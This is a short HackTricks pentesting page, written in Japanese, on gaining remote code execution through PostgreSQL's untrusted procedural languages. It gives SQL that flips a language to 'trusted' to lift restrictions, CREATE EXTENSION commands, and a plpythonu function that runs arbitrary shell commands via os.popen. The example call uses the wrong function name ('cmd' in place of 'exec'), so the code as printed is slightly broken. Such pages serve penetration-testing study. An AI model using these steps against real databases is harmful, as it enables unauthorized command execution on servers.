RCE with PostgreSQL Languages

Support HackTricks

PostgreSQL Languages

アクセスしたPostgreSQLデータベースには、任意のコードを実行するために悪用できる異なるスクリプト言語がインストールされている可能性があります

それらを実行することができます:

\dL *

SELECT lanname,lanpltrusted,lanacl FROM pg_language;

ほとんどのスクリプト言語は、PostgreSQLにインストールできるもので、2つの種類があります:trusteduntrusteduntrustedは**"u"で終わる名前**を持ち、コードを実行したり、他の興味深い機能を使用することを許可するバージョンです。これらは、インストールされている場合に興味深い言語です:

  • plpythonu

  • plpython3u

  • plperlu

  • pljavaU

  • plrubyu

  • ...(不安全なバージョンを使用している他のプログラミング言語)

興味深い言語がインストールされているが、PostgreSQLによってuntrustedとされている場合(lanpltrustedfalse)、次の行を使用して信頼させることができ、PostgreSQLによって制限が適用されないようにすることができます:

UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
# To check your permissions over the table pg_language
SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_language';

言語が表示されない場合は、次のコマンドで読み込んでみてください(スーパ管理者である必要があります):

CREATE EXTENSION plpythonu;
CREATE EXTENSION plpython3u;
CREATE EXTENSION plperlu;
CREATE EXTENSION pljavaU;
CREATE EXTENSION plrubyu;

安全なバージョンを「非安全」としてコンパイルすることが可能であることに注意してください。例えば、こちらを確認してください。したがって、trusted のものしかインストールされていなくても、コードを実行できるかどうか試す価値は常にあります。

plpythonu/plpython3u

CREATE OR REPLACE FUNCTION exec (cmd text)
RETURNS VARCHAR(65535) stable
AS $$
import os
return os.popen(cmd).read()
#return os.execve(cmd, ["/usr/lib64/pgsql92/bin/psql"], {})
$$
LANGUAGE 'plpythonu';

SELECT cmd("ls"); #RCE with popen or execve

pgSQL

次のページを確認してください:

PL/pgSQL Password Bruteforce

C

次のページを確認してください:

RCE with PostgreSQL Extensions
HackTricksをサポートする

Last updated